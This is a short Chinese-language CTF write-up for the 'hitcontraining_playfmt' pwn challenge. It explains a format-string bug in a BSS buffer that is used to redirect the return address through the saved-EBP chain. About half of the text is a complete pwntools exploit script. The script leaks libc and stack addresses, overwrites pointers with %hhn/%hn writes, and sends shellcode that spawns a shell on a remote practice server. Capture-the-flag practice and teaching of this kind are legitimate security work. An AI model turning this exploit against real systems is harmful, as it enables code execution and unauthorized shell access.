hitcontraining_playfmt
查看保护
格式 化漏洞,这个buf在bss上,也就是bss上的格式化漏洞。
攻击思路:可以执行shellcode,所以可以在bss上写入shellcode然后持劫ret_addr到shellcode的开头
既然不是栈上的所以需要借助ebp这个链子来完成
第六个位置是ebp第十个位置是ce78。
先将ce78里存放的ce88给改成ce6c,因为ce6c这里放着ret_addr(因为我们最后就是需要将ret_addr改成shellcode的头)
改完之后ce88这里就是ce6c了,而ce6c的后面又是play+77,接着将第十位置改成buf_addr + 4,也就是将play +77改成buf_addr + 4(为什么是四,因为最后输入quit这四个字进行退出来执行shellcode。)
注意:这里笔者没有patchelf,地址和远程的不一样,具体的需要通过格式化来泄露出stack_addr然后对stack_addr进行操作
还有第二种方法,就是劫持ret_addr为one_gadget也可以,只不过这样相对于shellcode打法有一点点麻烦。
from pwn import *
from time import sleep
context(arch='i386', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 26962)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r, 'b *0x0804854f')
p1 = '%15$p'
r.sendline(p1)
r.recvuntil('0x')
libc_start_main = int(r.recv(8), 16) - 229
success('libc_start_main = ' + hex(libc_start_main))
libc = ELF('./libc-2.23.so')
libc_base = libc_start_main - libc.sym['__libc_start_main']
p1 = '%6$p'
r.sendline(p1)
r.recvuntil('0x')
stack_addr = int(r.recv(8), 16) - 0x28
success('stack_addr = ' + hex(stack_addr))
p2 = '%' + str((stack_addr + 0x1c) & 0xff) + 'c%6$hhn'
r.sendline(p2)
p3 = '%' + str(0xa064) + 'c%10$hn'
r.sendline(p3)
shellcode = asm(shellcraft.sh())
p4 = b'quit' + shellcode
r.send(p4)
r.sendline('quit')
r.interactive()